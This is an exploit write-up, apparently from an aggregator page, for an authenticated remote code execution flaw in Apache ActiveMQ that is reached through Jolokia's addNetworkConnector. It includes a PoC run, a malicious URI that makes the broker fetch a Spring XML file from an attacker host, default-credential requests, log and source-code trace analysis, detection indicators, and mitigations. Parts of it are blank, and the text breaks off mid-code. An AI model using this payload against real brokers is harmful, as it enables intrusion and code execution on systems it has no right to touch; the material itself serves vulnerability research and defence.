Share
## https://sploitus.com/exploit?id=7696467A-97CF-577C-B1C8-46DDC20F58CF
# CVE-2026-34197

> Description \
Improper Input Validation, Improper Control of Generation of Code (‘Code Injection’) vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). An authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport’s brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring’s ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker’s JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ All: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ: before 5.19.4, from 6.0.0 before 6.2.3. Users are recommended to upgrade to version 5.19.4 or 6.2.3, which fixes the issue

More information in: [link](https://nvd.nist.gov/vuln/detail/CVE-2026-34197)

# Exploit Phase
## Reference
Github: [link](https://github.com/dinosn/CVE-2026-34197)

```bash
❯ docker compose up -d
```

```bash
❯ python3 exploit_poc.py auto \
    --target http://localhost:8161 \
    --lhost 192.168.1.32 --lport 9999 \
    --cmd "touch /tmp/blahblah.txt"

======================================================================
  CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
  For authorized security testing and research only.
======================================================================

[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
  "request": {
    "mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
    "arguments": [
      "static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
    ],
    "type": "exec",
    "operation": "addNetworkConnector(java.lang.String)"
  },
  "value": "NC",
  "timestamp": 1775616523,
  "status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
```
With LHOST is the private IP on computer. You can use `ipconfig` on Windows or `ifconfig` on Linux

Checking the RCE
```bash
❯ docker exec -it activemq-vuln ls -lah /tmp                         
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root    0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
```
=> RCE successful, the file `blahblah.txt` was created on the target system.

# Analysis Phase
## Dynamic Analysis
```bash
❯ docker exec activemq-vuln java -version 

openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
```
```bash
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar
```

The runtime logs also confirmed that Jolokia was enabled and exposed through the ActiveMQ web console:

```bash
INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/
INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
```
Verify the connection
```bash
❯ curl -i -u admin:admin \
  -H 'Origin: http://localhost:8161' \
  http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked

{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}
```

This means:
- Jolokia was accessible
- Authentication succeeded using default credentials
- The target was running ActiveMQ 5.18.6
- The Jolokia agent accepted authenticated requests

To read logs
```bash
docker logs activemq-vuln > activemq-rce.log
```
Then grep for the clean chain
```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
 INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.activemq.xbean.XBeanBrokerFactory$1.(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
 WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)
```
After sending payload
```bash
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
```
This line is critical because it confirms that the attacker-controlled URI supplied through:
```java
BrokerView.addNetworkConnector(String)
```
reached the VM transport layer without sanitization.

The malicious URI used during exploitation was:

```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
```

This URI contains two important parts:

| Component       | Purpose                                           |
| --------------- | ------------------------------------------------- |
| `static:(...)`  | Wrapper used by ActiveMQ discovery connectors     |
| `vm://evil?...` | VM transport URI processed internally by ActiveMQ |

The `static:(...)` wrapper itself is not the vulnerable component. Its purpose is to pass the enclosed transport URI into ActiveMQ's network connector subsystem.

During runtime execution, ActiveMQ extracted and processed the inner VM transport URI:

```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
```

This behavior was confirmed in the runtime logs:

```text
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
```

The `brokerConfig=` parameter is the critical portion of the payload. It instructed the VM transport layer to dynamically create a broker instance using an external Spring xbean configuration loaded from:

```text
http://192.168.1.32:9999/evil.xml
```

The `xbean:` prefix caused ActiveMQ to delegate processing to Spring's XML application context loader:

```text
org.apache.xbean.spring.context.ResourceXmlApplicationContext
```

As a result, the remote XML document was parsed and instantiated as a Spring application context inside the broker JVM.

The malicious XML contained the following Spring bean:

```xml

```

This bean definition instructed Spring to instantiate a `ProcessBuilder` object and immediately invoke its `start()` method during application context initialization.

The exploit used the following command:

```bash
touch /tmp/blahblah.txt
```

Because Spring eagerly instantiates singleton beans during context initialization, the `ProcessBuilder.start()` method executed before ActiveMQ validated whether the broker configuration itself was safe or valid.

This resulted in arbitrary command execution on the target container.

The exploit was verified by checking the `/tmp` directory inside the ActiveMQ container:

```bash
❯ docker exec -it activemq-vuln ls -lah /tmp

total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root    0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
```

The file metadata further confirmed successful command execution:

```bash
❯ docker exec activemq-vuln stat /tmp/blahblah.txt

File: /tmp/blahblah.txt
Size: 0
Uid: (0/root)
Gid: (0/root)
Birth: 2026-05-18 04:01:35
```

This proves that arbitrary operating system commands were executed successfully within the ActiveMQ container context.

The runtime stack trace also revealed the complete vulnerable execution path:

```text
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
XmlBeanDefinitionReader.loadBeanDefinitions()
  ->
Spring bean instantiation
  ->
ProcessBuilder.start()
  ->
OS command execution
```

The following stack trace entries were observed during runtime analysis:

```text
at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388)

at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125)

at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71)

at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67)

at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104)

at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116)

at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342)
```

One of the most important observations during dynamic analysis was the order in which Spring and ActiveMQ processed the malicious configuration.

After the payload executed successfully, ActiveMQ later generated the following warning:

```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml
```

This behavior demonstrates that:

```text
Spring bean instantiation occurred before ActiveMQ validated the broker configuration.
```

Even though the broker configuration itself was ultimately rejected, the malicious Spring bean had already been instantiated and executed.

This ordering issue is the core logic flaw behind CVE-2026-34197.

The dynamic analysis identified the following components participating in the exploit chain:

| Component                     | Role                               |
| ----------------------------- | ---------------------------------- |
| Jolokia                       | HTTP-to-JMX bridge                 |
| BrokerView                    | Exposed management MBean           |
| VMTransportFactory            | Parses `vm://` transport URI       |
| BrokerFactory                 | Creates broker instance            |
| XBeanBrokerFactory            | Loads Spring xbean configuration   |
| ResourceXmlApplicationContext | Loads remote XML                   |
| XmlBeanDefinitionReader       | Parses Spring bean definitions     |
| Spring BeanFactory            | Instantiates singleton beans       |
| ProcessBuilder                | Executes operating system commands |

The dynamic analysis confirms that CVE-2026-34197 is caused by the interaction between:

* Overly permissive Jolokia management operations
* Attacker-controlled transport URIs
* VM transport broker auto-creation
* Spring xbean remote configuration loading
* Eager singleton bean instantiation before validation

As a result, an authenticated attacker can achieve arbitrary code execution on the ActiveMQ JVM by supplying a malicious `brokerConfig=xbean:http://...` URI through the Jolokia-exposed `addNetworkConnector()` operation.

### Architecture Overview

Apache ActiveMQ Classic exposes a management interface through the Jolokia JMX-HTTP bridge available at:

```text id="n0vmrq"
/api/jolokia/
```

Jolokia acts as an HTTP-to-JMX bridge, allowing authenticated users to invoke Java Management Extensions (JMX) operations remotely over HTTP.

The vulnerable architecture path identified during analysis is shown below:

```text id="yavj0f"
HTTP Request
  ->
Jolokia Servlet
  ->
JMX MBean Invocation
  ->
BrokerView.addNetworkConnector()
  ->
VMTransportFactory
  ->
BrokerFactory
  ->
XBeanBrokerFactory
  ->
Spring ResourceXmlApplicationContext
  ->
Spring Bean Instantiation
  ->
OS Command Execution
```

The following components were involved in the exploit chain:

| Component             | Function                                     |
| --------------------- | -------------------------------------------- |
| Jolokia               | Exposes JMX operations over HTTP             |
| BrokerView            | Management MBean interface                   |
| VMTransportFactory    | Processes `vm://` transport URIs             |
| BrokerFactory         | Dynamically creates brokers                  |
| XBeanBrokerFactory    | Loads Spring xbean configurations            |
| Spring Context Loader | Parses and instantiates XML bean definitions |
| ProcessBuilder        | Executes operating system commands           |

The architecture becomes vulnerable because ActiveMQ permits authenticated users to invoke dangerous broker management methods with attacker-controlled transport URIs.

---

### Attack Surface Analysis

The primary attack surface is the Jolokia HTTP endpoint exposed through the ActiveMQ web console:

```text id="xq7vba"
http://:8161/api/jolokia/
```

Runtime analysis confirmed that the Jolokia interface was enabled by default:

```text id="y7qz5e"
INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
```

The Jolokia endpoint accepted authenticated requests using HTTP Basic Authentication:

```json id="13tzmx"
"authMode":"basic"
```

The following dangerous management operation was exposed:

```java id="pxqv10"
BrokerView.addNetworkConnector(String)
```

This method accepts a user-controlled transport URI without sufficiently restricting dangerous URI schemes or configuration parameters.

The attacker supplied the following payload:

```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
```

This payload abused several features simultaneously:

| Feature                 | Abuse                               |
| ----------------------- | ----------------------------------- |
| `addNetworkConnector()` | Accept attacker-controlled URI      |
| `vm://` transport       | Trigger dynamic broker creation     |
| `brokerConfig=`         | Load arbitrary broker configuration |
| `xbean:`                | Invoke Spring XML loader            |
| Remote HTTP URL         | Fetch attacker-controlled XML       |

The attack surface therefore includes:

* Jolokia HTTP API exposure
* Weakly restricted JMX management operations
* Dynamic transport URI parsing
* External broker configuration loading
* Spring xbean integration

---

### Root Cause Analysis

The vulnerability is caused by the interaction between multiple trusted subsystems inside ActiveMQ.

The core issue is that authenticated Jolokia users are allowed to invoke dangerous broker management operations with attacker-controlled transport URIs.

The vulnerable execution flow identified during runtime analysis is:

```text id="m57h1r"
Jolokia
  ->
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
Spring bean instantiation
```

The critical parameter is:

```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml
```

This parameter instructs the VM transport layer to dynamically create a broker using an external Spring xbean configuration.

The following runtime evidence confirmed this behavior:

```text id="74y0rw"
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
```

Spring then loaded the remote XML through:

```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext
```

The malicious XML contained:

```xml id="y6jphd"

```

During Spring application context initialization, singleton beans are instantiated eagerly. As a result, the `ProcessBuilder.start()` method executed immediately.

The key logic flaw is that Spring bean instantiation occurred before ActiveMQ validated whether the broker configuration itself was safe or valid.

This behavior was proven dynamically because:

1. The malicious payload successfully created `/tmp/blahblah.txt`
2. ActiveMQ later rejected the broker configuration with:

```text id="6k1dwn"
The configuration has no BrokerService instance
```

This demonstrates that code execution occurred before broker validation completed.

---

### Indicators of Compromise (IOC) and Detection

Potential indicators of compromise include suspicious Jolokia requests targeting ActiveMQ management operations.

#### Suspicious Jolokia Operations

Look for requests invoking:

```text id="c56p2k"
addNetworkConnector
addConnector
```

through:

```text id="pt2n3d"
/api/jolokia/
```

#### Suspicious URI Patterns

The following URI fragments are strong indicators of exploitation attempts:

```text id="n9jlwm"
vm://
brokerConfig=
xbean:
static:(
```

Example malicious payload:

```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)
```

#### Outbound HTTP Connections

The broker may initiate outbound requests to attacker-controlled infrastructure:

```text id="f5g9kx"
http://attacker/evil.xml
```

Unexpected outbound HTTP traffic from the broker JVM should be investigated.

#### Suspicious Runtime Logs

The following runtime messages are suspicious:

```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil
```

```text id="3q2vls"
ResourceXmlApplicationContext
```

```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions
```

#### Filesystem Artifacts

Unexpected files under:

```text id="6x7qcm"
/tmp/
```

or suspicious child process execution from the ActiveMQ JVM may indicate exploitation.

---

### Impact Analysis

Successful exploitation allows authenticated remote code execution within the ActiveMQ JVM context.

In the analyzed environment, arbitrary operating system commands executed successfully inside the container:

```bash id="2hyz0w"
touch /tmp/blahblah.txt
```

Result:

```text id="rm2qfd"
/tmp/blahblah.txt
```

The file was created as:

```text id="9phgkz"
Uid: (0/root)
```

This indicates that command execution occurred with root privileges inside the container.

Potential impact includes:

| Impact                | Description                               |
| --------------------- | ----------------------------------------- |
| Remote Code Execution | Arbitrary command execution               |
| Container Compromise  | Full compromise of the ActiveMQ container |
| Credential Theft      | Access to broker credentials and secrets  |
| Lateral Movement      | Pivoting to adjacent systems              |
| Persistence           | Creation of malicious network connectors  |
| Data Exposure         | Access to broker messages and queues      |

The severity increases significantly if:

* Jolokia is exposed externally
* Default credentials remain enabled
* Containers run as root
* Broker hosts have unrestricted outbound access

---

### Mitigation

#### Upgrade to Fixed Versions

Upgrade ActiveMQ Classic to:

```text id="8w0j6k"
5.19.4 or later
6.2.3 or later
```

#### Restrict Jolokia Access

Disable Jolokia if not required.

If Jolokia must remain enabled:

* Restrict access to trusted administrative networks
* Enforce strong authentication
* Disable dangerous exec operations
* Apply strict Jolokia access policies

#### Remove Default Credentials

Do not use:

```text id="9mw1xv"
admin:admin
```

#### Restrict Outbound Network Access

Prevent the broker from initiating arbitrary outbound HTTP connections.

This mitigates remote XML retrieval attempts.

#### Disable Dangerous Features

Restrict or disable:

* Dynamic broker creation
* `vm://` transport usage
* External `xbean:` configuration loading

#### Harden Runtime Environment

* Run containers as non-root users
* Apply filesystem restrictions
* Use network segmentation
* Monitor JVM child process execution

#### Detection Recommendations

Monitor for:

* Requests to `/api/jolokia/`
* Usage of `addNetworkConnector`
* `brokerConfig=` parameters
* `xbean:` URIs
* Outbound HTTP requests from the broker JVM
* Unexpected child processes spawned by Java

## Static Analysis

### Source Code Overview

The vulnerable path crosses the ActiveMQ web/JMX management layer, the broker networking layer, the VM transport, the broker factory subsystem, and Spring XBean configuration loading.

Jolokia is enabled in the ActiveMQ web API application:

```xml


    jolokia-agent
    org.jolokia.http.AgentServlet
    ...



    jolokia-agent
    /jolokia/*

```

At broker startup, ActiveMQ registers `BrokerView` as the broker management MBean:

```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
protected void startManagementContext() throws Exception {
    getManagementContext().setBrokerName(brokerName);
    getManagementContext().start();
    adminView = new BrokerView(this, null);
    ObjectName objectName = getBrokerObjectName();
    AnnotatedMBean.registerMBean(getManagementContext(), adminView, objectName);
}
```

The object name is created as:

```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java
public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName)
        throws MalformedObjectNameException  {
    String objectNameStr = jmxDomainName + ":type=Broker,brokerName=";
    objectNameStr += JMXSupport.encodeObjectNamePart(brokerName);
    return new ObjectName(objectNameStr);
}
```

In the default distribution this exposes the broker MBean as an HTTP-invokable Jolokia target such as:

```text
org.apache.activemq:type=Broker,brokerName=localhost
```

The relevant component responsibilities are:

- `BrokerView`: JMX-facing broker management facade. It exposes `addNetworkConnector(String)` and `addConnector(String)`.
- `BrokerService`: broker runtime object. It turns a string network connector address into a `URI` and creates a `DiscoveryNetworkConnector`.
- `DiscoveryNetworkConnector`: uses a discovery agent to obtain remote broker service URIs, then connects to each discovered URI.
- `TransportFactory`: resolves a URI scheme to a transport factory using `META-INF/services/org/apache/activemq/transport/`.
- `VMTransportFactory`: handles `vm://` transports and can auto-create an embedded broker when the requested VM broker does not exist.
- `BrokerFactory`: resolves a broker configuration URI scheme using `META-INF/services/org/apache/activemq/broker/`.
- `XBeanBrokerFactory`: handles `xbean:` broker configuration URIs and creates a Spring/XBean application context.
- `ResourceXmlApplicationContext`: loads the XML resource and performs Spring bean factory refresh, including eager singleton creation.

The vulnerability exists because the management method accepts an ActiveMQ URI language that is not passive data. When the URI is evaluated, it can create brokers and load Spring XML configuration.

---

### Vulnerable Entry Point

The vulnerable entry point is:

```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    if (connector == null) {
        throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress);
    }
    brokerService.registerNetworkConnectorMBean(connector);
    connector.start();
    return connector.getName();
}
```

The MBean interface exposes the operation as:

```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;
```

The attacker-controlled input is the Jolokia `exec` argument passed to `discoveryAddress`. In the vulnerable version, `BrokerView.addNetworkConnector()` performs no scheme validation, no nested URI validation, and no filtering of transport-specific parameters before passing the string to `BrokerService`.

`BrokerService` converts the string directly into a `URI`:

```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception {
    return addNetworkConnector(new URI(discoveryAddress));
}

public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception {
    NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress);
    return addNetworkConnector(connector);
}
```

The connector object is then configured with the local broker URI and added to the broker:

```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
    connector.setBrokerService(this);
    connector.setLocalUri(getVmConnectorURI());
    ...
    networkConnectors.add(connector);
    return connector;
}
```

Control reaches the transport subsystem when `BrokerView` starts the connector:

```java
connector.start();
```

For the exploit URI:

```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
```

`static:(...)` creates a static discovery connector, and the inner `vm://...` URI becomes the discovered remote service.

---

### VM Transport Analysis

The VM transport is resolved through:

```properties
# activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/transport/vm
class=org.apache.activemq.transport.vm.VMTransportFactory
```

The vulnerable method is:

```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception
```

The method parses the `vm://` URI, extracts query parameters, and treats `brokerConfig` as a broker creation URI:

```java
host = extractHost(location);
options = URISupport.parseParameters(location);
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
} else {
    Map brokerOptions = IntrospectionSupport.extractProperties(options, "broker.");
    brokerURI = new URI("broker://()/" + host + "?"
                        + URISupport.createQueryString(brokerOptions));
}
```

The `create` option defaults to `true`:

```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
    create = false;
}
```

If no broker exists for the requested VM host, `VMTransportFactory` creates one:

```java
broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart);
if (broker == null) {
    if (!create) {
        throw new IOException("Broker named '" + host + "' does not exist.");
    }
    try {
        if (brokerFactoryHandler != null) {
            broker = brokerFactoryHandler.createBroker(brokerURI);
        } else {
            broker = BrokerFactory.createBroker(brokerURI);
        }
        broker.start();
        MDC.put("activemq.broker", broker.getBrokerName());
    } catch (URISyntaxException e) {
        throw IOExceptionSupport.create(e);
    }
    BROKERS.put(host, broker);
    BrokerRegistry.getInstance().getRegistryMutext().notifyAll();
}
```

This is the transport-level privilege boundary failure. A URI supplied through the management plane is evaluated by the VM transport as an instruction to create a broker from an arbitrary configuration URI.

The remaining parameter validation occurs after broker creation:

```java
if (!options.isEmpty()) {
    throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;
```

That validation cannot prevent code execution through `brokerConfig`, because `brokerConfig` has already been removed from `options` and consumed before this check runs.

The upstream discovery path is:

```java
// activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java
remoteTransport = TransportFactory.connect(connectUri);
```

For `static:(...)`, `SimpleDiscoveryAgent.start()` immediately emits each configured service:

```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
    taskRunner = new TaskRunnerFactory();
    taskRunner.init();

    running.set(true);
    for (int i = 0; i  BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.(URI)
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> BrokerFactory.createBroker(URI, boolean)
  -> XBeanBrokerFactory.createBroker(URI)
```

The key transition is:

```text
vm://evil?brokerConfig=xbean:http://attacker/evil.xml
```

to:

```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))
```

---

### Spring XBean Analysis

The relevant XBean factory is:

```java
// activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java
public class XBeanBrokerFactory implements BrokerFactoryHandler
```

`createBroker()` extracts the scheme-specific part of the `xbean:` URI and creates a Spring application context before checking whether it contains a broker:

```java
public BrokerService createBroker(URI config) throws Exception {
    String uri = config.getSchemeSpecificPart();
    if (uri.lastIndexOf('?') != -1) {
        IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
        uri = uri.substring(0, uri.lastIndexOf('?'));
    }

    ApplicationContext context = createApplicationContext(uri);

    BrokerService broker = null;
    try {
        broker = (BrokerService)context.getBean("broker");
    } catch (BeansException e) {
    }
    ...
}
```

The dangerous sink is `createApplicationContext()`:

```java
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
    Resource resource = Utils.resourceFromString(uri);
    LOG.debug("Using " + resource + " from " + uri);
    try {
        return new ResourceXmlApplicationContext(resource) {
            @Override
            protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) {
                reader.setValidating(isValidate());
            }
        };
    } catch (FatalBeanException errorToLog) {
        LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog);
        throw errorToLog;
    }
}
```

Remote resources are accepted by `Utils.resourceFromString()`:

```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    Resource resource;
    File file = new File(uri);
    if (file.exists()) {
        resource = new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        try {
            resource = new UrlResource(ResourceUtils.getURL(uri));
        } catch (FileNotFoundException e) {
            MalformedURLException malformedURLException = new MalformedURLException(uri);
            malformedURLException.initCause(e);
            throw  malformedURLException;
        }
    } else {
        resource = new ClassPathResource(uri);
    }
    return resource;
}
```

Therefore:

```text
xbean:http://192.168.1.32:9999/evil.xml
```

is reduced to:

```text
http://192.168.1.32:9999/evil.xml
```

and loaded as a Spring `UrlResource`.

The call to `reader.setValidating(isValidate())` only controls XML validation mode in Spring's `XmlBeanDefinitionReader`. It does not restrict bean classes, constructor arguments, lifecycle methods, or remote URL resources.

---

### Spring Bean Instantiation Analysis

ActiveMQ 5.18.6 declares:

```xml
5.3.39
4.25
```

In XBean 4.25, `ResourceXmlApplicationContext` calls `refresh()` from its constructor:

```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
    super();
    this.xmlPreprocessors = xmlPreprocessors;
    this.resource = resource;
    refresh();
}
```

It loads bean definitions from the supplied resource:

```java
